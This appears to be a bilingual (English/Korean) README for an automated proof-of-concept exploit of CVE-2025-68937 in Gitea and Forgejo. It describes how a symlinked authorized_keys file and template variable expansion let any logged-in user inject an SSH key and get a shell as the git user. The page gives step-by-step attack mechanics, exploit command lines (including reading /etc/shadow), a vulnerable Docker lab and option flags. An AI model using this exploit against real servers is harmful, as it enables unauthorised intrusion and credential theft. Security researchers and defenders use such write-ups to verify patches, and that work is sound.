
Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.
CVE-2025-68937에 대한 자동화된 개념 증명(PoC): Gitea 및 Forgejo 템플릿 저장소 처리 과정에서 심볼릭 링크 역참조를 통한 디렉터리 트래버설로 원격 코드 실행이 가능합니다.
인증된 모든 사용자(관리자 권한 불필요)는 git 서비스 사용자 셸을 획득할 수 있습니다.
템플릿에서 새 저장소를 생성할 때 Gitea/Forgejo는 템플릿 파일을 복사하고 .gitea/template에 나열된 파일에서 ${REPO_DESCRIPTION}과 같은 변수를 확장합니다. 이 과정은 검증 없이 심볼릭 링크를 따르므로 공격자가 서버의 임의 파일을 읽고 쓸 수 있습니다.
| 세부 정보 | 값 |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 치명적 |
| CWE | CWE-61 (UNIX 심볼릭 링크 추적) |
| 인증 필요 | 예 (모든 사용자) |
| 관리자 필요 | 아니요 |
| 소프트웨어 | 영향 받는 버전 | 수정 버전 |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION}(Gitea가 확장하는 템플릿 변수)을 포함한 SSH 키를 등록합니다..gitea/template에 authorized_keys를 나열authorized_keys 파일을 가리키는 git 심볼릭 링크 authorized_keysauthorized_keys 파일(주석에 ${REPO_DESCRIPTION}이 포함된 우리가 등록한 키가 들어 있는 파일)을 읽고, 변수를 하위 저장소의 설명(우리의 SSH 키)으로 확장한 다음 그 결과를 심볼릭 링크를 통해 다시 씁니다git SSH 접속 (command= 제한 없음)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
취약한 인스턴스를 실행합니다:
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000을 열고 설치 마법사를 완료합니다(SQLite로 충분합니다).python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit 및 ssh-keygen이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 자신이 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 작성자는 오용에 대한 책임을 지지 않습니다.
| 플래그 | 기본값 | 설명 |
|---|
-u, --url | 필수 | Gitea/Forgejo 기본 URL |
-U, --user | 필수 | 사용자 이름 |
-P, --password | 필수 | 비밀번호 |
--git-home | /data/git | 대상의 Git 사용자 홈 디렉터리 |
--ssh-host | --url에서 가져옴 | 연결할 SSH 호스트 |
--ssh-port | 22 | Gitea SSH 포트 |
--timeout | 30 | SSH 대기 시간(초) |
--command | 대화형 | 셸 획득 후 실행할 명령 |
--cleanup | - | 익스플로잇 산출물 제거 |